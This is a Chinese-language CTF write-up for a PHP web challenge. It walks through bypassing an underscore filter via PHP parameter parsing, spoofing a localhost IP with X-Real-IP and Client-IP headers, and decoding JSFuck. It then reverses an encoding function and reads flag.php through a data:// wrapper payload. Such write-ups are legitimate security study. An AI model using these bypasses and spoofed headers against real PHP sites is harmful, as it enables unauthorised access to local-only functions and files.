进来看到代码
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
意思就是我们在url中?后面的东西不能出现下划线和它的url编码,第二个if不能强等于23333又要匹配到23333
字符串解析参考文章:
利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户
经过尝试这两种可以绕过
b%20u%20p%20t=23333%0A //%20为空格url编码,%0A为回车url编码
b%2eu%2ep%2et=23333%0A //%2e为.
进去过后页面显示ip不对,下面随便用一个伪造127.0.0.1即可
X-Real-IP:
X-Client-IP:
X-Originating-IP:
出现一串jsfuck码,有两种解码方式
第一中F12打开控制台输入即可,如果有警告按提示输入即可解析
第二种去这个网站解析
CoderTab - JSUnFuck - Decode JSFuck Here
post方式传递参数出现源码
bp右键点击通过浏览器请求复制网址浏览器输入即可复制源码
源码:
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
代码解析:
change函数的主要功能是将参数$v
进行base64解码,并对解码后的结果进行进一步的处理。具体来说,函数使用一个循环迭代字符串$v
的每个字符。在每次迭代中,函数将字符转换为ASCII码,然后加上$i
乘以2的结果,再将得到的新的ASCII码转换回字符,并将其拼接到一个结果字符串$re
中。
最后,函数返回结果字符串$re
。
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )老办法伪造ip,然后利用data伪协议写入数据传给2333即可
我们要使$_GET['file'])的值为flag.php
把change函数逆向一下得到v值为
ZmpdYSZmXGI=
PHP脚本:
$str = '';
$re = 'flag.php';
for ($i=0;$i<strlen($re);$i++){
$str .= chr ( ord ($re[$i]) - $i*2 );
}
$str = base64_encode($str);
echo "传入的v的值为:".$str;
改变请求方式进行传值,payload;
?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI
Client-IP: 127.0.0.1